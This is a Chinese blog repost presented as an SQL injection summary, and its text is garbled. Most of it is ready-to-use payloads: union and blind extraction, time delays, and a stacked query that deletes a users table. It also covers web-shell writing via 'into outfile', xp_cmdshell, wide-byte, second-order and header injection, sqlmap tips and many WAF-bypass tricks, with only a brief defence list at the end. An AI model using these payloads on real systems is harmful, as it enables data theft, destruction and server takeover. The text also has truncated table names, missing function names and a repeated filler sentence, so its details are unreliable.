2023年7月24日发(作者:)
mysqlor的查询原理_SQL注⼊原理当客户端提交的数据未作处理或转义直接带⼊数据库,就造成了sql注⼊。攻击者通过构造不同的sql语句来实现对数据库的任意操作。SQL注⼊的分类按变量类型分:数字型和字符型按HTTP提交⽅式分:POST注⼊、GET注⼊和Cookie注⼊按注⼊⽅式分:布尔注⼊、联合注⼊、多语句注⼊、报错注⼊、延时注⼊、内联注⼊按数据库类型分:sql:oracle、MySQL、mssql、access、sqlite、postgersqlnosql:mongodb、redisMySQL与MSSQL及ACCESS之间的区别5.0以下没有information_schema这个默认数据库没有库名,只有表和字段,并且注⼊时,后⾯必须跟表名,ACCESS没有注释举例:select 1,2,3 from table_name union select 1,2,3 from table_使⽤limit排序,ACCESS使⽤TOP排序(TOP在MSSQL也可使⽤)判断三种数据库的语句MySQL:and length(user())>10ACCESS:and (select count()from MSysAccessObjects)>0MSSQL:and (select count()from sysobjects)>0基本⼿⼯注⼊流程1.判断注⼊点数字型:id=2-1字符型:’ 、’)、 '))、 "、 ")、 "))注释符:-- (这是–空格)、–+、/**/、#这可能是最全的SQL注⼊总结,很有⽤2.获取字段数order by ⼆分法联合查询字段数,观察页⾯变化从⽽确定字段数order by 1order by 50group by 译为分组,注⼊时也可使⽤,不过我没⽤过3.查看显⽰位尝试使⽤联合注⼊利⽤and 1=2或and 0及id=-12查看显⽰数据的位置替换显⽰位改成SQL语句,查看信息(当前数据库,版本及⽤户名)and 1=2 union select version(),2,3再查询所有数据库and 1=2 union select (select group_concat(schema_name)from information ta),2,3查询所有表名union select (select group_concat(table_name)from information_),2,3查询所有字段名union select (select group_concat(column_name)from information_s),2,3查询字段内容布尔盲注我在盲注中常⽤的函数:() 解ASCII码;()截取字符串;举例:mid(‘hello’,1,3),从第1位开始截取3位,输出位()与mid()相同,都为截取字符串;()计算查询结果的⾏数;()查询结果合并但保持原有⾏数;_concat()查询结果合并但都放在⼀⾏中;() 查询ascii码;猜数据库长度(利⽤⼆分法);id=1 and (length(database()))>1id=1 and (length(database()))>50猜第⼀个字符,第⼆个字符,以此类推and ascii(mid(database(),1,1))>1and ascii(mid(database(),2,1))>1查询当前数据库中所有表名;and (select count(table_name)from information_ where tables_schema=database())>1and (selectcount(table_name)from information_ where tables_schema=database())>10查询第⼀个表的长度;and (select length(table_name)from information_ where tables_schema=database()limit 0,1)>10查询表的第⼀个字符;and ascii(mid((select table_name from information_ where table_schema=database()limit 0,1),1,1))>1查询atelier表⾥有⼏个字段;and(select count(column_name)from information_s where table_name = ‘atelier’ and table_schema =database())>2查询第⼀个字段长度;and length((select column_name from information_s where table_name=‘atelier’ and table_schema=database()limit 0,1))>1查询字段第⼀个字符;and ascii(mid((select column_name from information_s where table_schema = ‘db83231_asfaa’ andTABLE_NAME =‘atelier’ limit 0,1),1,1))>105查询字段所有⾏数;and (select count(*) from db83231_r)>4查询字段名的⾏数(查询emails表,uname字段);and (select count(uname)from )>7 查询uname的⾏数查询字段内容;length((select username from limit 0,1))>10ascii(mid((select username from limit0,1),1,1))>100将查询到的ASCII码放到mysql中查询。延时盲注利⽤sleep(3)和if(1=2,1,0)及case进⾏延时注⼊,⽰例:select * from user where id=‘1’ or sleep(3) %23这个没什么好说的select * from user where id= 1 and if(length(version())>10,sleep(3),0);如果长度⼤于10,则睡3秒,其他则0秒select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;case定义条件,when 后⾯的1表⽰ture也代表真,当条件为真时,睡3秒,其他则0秒。多语句注⼊多语句意思就是可以执⾏多个语句,利⽤分号进⾏隔开⽰例:id=1";WAITFOR DELAY ‘0:0:3’;delete from users; --+id=1’;select if(length(user(),1,1)>1,sleep(3),1) %23’;selectif(length((select table_name from information_ where table_schema=database() limit 0,1),1,1)>1,sleep(3),1)%23内联注⼊举例:id=-1 /!UNION/ /!SELECT/ 1,2,3利⽤别名:union select 1,2,3,4,,,* from(sys_admin as a inner join sys_admin as b on =)getshellid=-1’ union select 1,2,(select ‘’ into outfile ‘/var/www/html/’) --+也可使⽤dumpfile进⾏写⼊。outfile和dumpfile的区别:outfile适合导库,在⾏末尾会写⼊新⾏并转义,因此不能写⼊⼆进制可执⾏⽂件。dumpfile只能执⾏⼀⾏数据。数据库写⼊:exec master…xp_cmdshell ‘echo “” > “c:”’宽字节注⼊当编码位gbk时,%df%27或%81%27数据为空就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符反斜杠,闭合之后页⾯恢复正常,存在宽字节注⼊这可能是最全的SQL注⼊总结,很有⽤测试出来就可以使⽤sqlmap跑了,23333加*构造注⼊点(⽐-p更稳定),让sqlmap对构造注⼊点进⾏注⼊攻击(*优先级更⾼)宽字节防御:这可能是最全的SQL注⼊总结,很有⽤第10⾏代码必须和第24⾏必须同时使⽤,要么就更换编码格式⼆次编码注⼊代码中有urldecode() 函数%2527 先解码成%27再解码成’单引号-prefix为设置前缀 -suffix为设置后缀设置后缀,防⽌sqlmap使⽤内联注使⽤⾃带的脚本进⾏注⼊图⽚上传sql注⼊猜结构,为时间戳加⽂件名⼆次注⼊abc’ 数据经过addslashes过滤,单引号前⾯添加反斜杠abc’,但传到数据库的数据还是abc’假如在如下场景中,我们浏览⼀些⽹站的时候,可以现在注册见页⾯注册username=test’,接下来访问?username=test’,页⾯返回id=22;接下来再次发起请求?id=22,这时候就有可能发⽣sql注⼊,⽐如页⾯会返回MySQL的错误。访问?id=test’ union select 1,user(),3%23,获得新的id=40,得到user()的结果,利⽤这种注⼊⽅式会得到数据库中的值。XFF头注⼊update user set loat_loginip = ‘8.8.8.8’ where id =1 and sleep(5) #’ where username = ‘zs’;id根据⽹站⽤户量取⼀个中间值,测试是否有注⼊,利⽤插件设置XFF头,如果⽹站不报错,可尝试此注⼊;X-Forward-For:127.0.0.1’ select 1,2,user()这可能是最全的SQL注⼊总结,很有⽤User-Agent请求头注⼊这可能是最全的SQL注⼊总结,很有⽤DNS外带⽇志⽰例外带平台 : L查询当前数据库;常⽤过WAF技巧1.特征字符⼤⼩写(基本没⽤)UnIoN SeLcT 1,2,32.内联注释id=-1/!UNION/%20//!SELECT/%201,2,33.特殊字符代替空格%09 tab键(⽔平)、%0a 换⾏、%0c 新的⼀页%0d return功能、%0b tab键(垂直)、%a0空格4.等价函数和逻辑符号hex()、bin()>ascii()sleep()>benchmark()concat_ws()>group_concat()mid()、substr()>substring()@@version==>version()@@datadir==>datadir()逻辑符号:如and和or不能使⽤时,尝试&&和||双管道符。5.特殊符号反引号,select version(),绕过空格和正则加号和点,"+“和”."代表连接,也可绕过空格和关键字过滤@符号,⽤于定义变量,⼀个@代表⽤户变量,@@代表系统变量6.关键字拆分‘se’+‘lec’+‘t’%S%E%L%C%T 1,2,3?id=1;EXEC(‘ma’+‘ster…x’+‘p_cm’+‘dsh’+‘ell"net user"’)!和():'or–+2=–'2id=1+(UnI)(oN)+(SeL)(EcT)7.加括号绕过⼩括号union (select+1,2,3+from+users)%23union(select(1),(2),(3)from(users))id=(1)or(0x50=0x50)id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))花括号select{x user}from{x }id=-1 union select 1,{x 2},38.过滤and和or下的盲注id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23id=strcmp(left((select+username+from9.⽩名单绕过拦截信息:GET /pen/?id=1 union select user,password from 绕过:GET /pen/news. php/admin?id=1 union select user,password from mysql. userGET /pen/admin/…news. php?id=1 unionselect user,password from mysql. 参数控制(1)HPP(HTTP Parmeter Polution)(重复参数污染)举例:?id=1 union select username,password from ?id=1/**/union/&id=/select/&id=/rd/&id=/from/&id=/usersHPP⼜称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不⽤的web服务器处理⽅式不同。具体WAF如何处理,要看设置的规则,不过⽰例中最后⼀个有较⼤可能绕过(2)HPF(HTTP Parmeter Fragment)(HTTP分割注⼊)HTTP分割注⼊,同CRLF有相似之处(使⽤控制字符%0a、%0d等执⾏换⾏)举例:/?a=1+union/&b=/select+1,pass/&c=/from+users–select * from table where a=1 union/* and b=/select 1,pass/ limit*/from users—SQL注⼊防御1.对⽤户输⼊的内容进⾏转义;2.限制关键字的输⼊,如单引号、双引号、右括号等,限制输⼊的长度;3.使⽤SQL语句预处理,对SQL语句进⾏预编译,然后进⾏参数绑定,最后传⼊参数;4.添加WAF,防⽕墙等。
发布者:admin,转转请注明出处:http://www.yc00.com/news/1690192883a312365.html
评论列表(0条)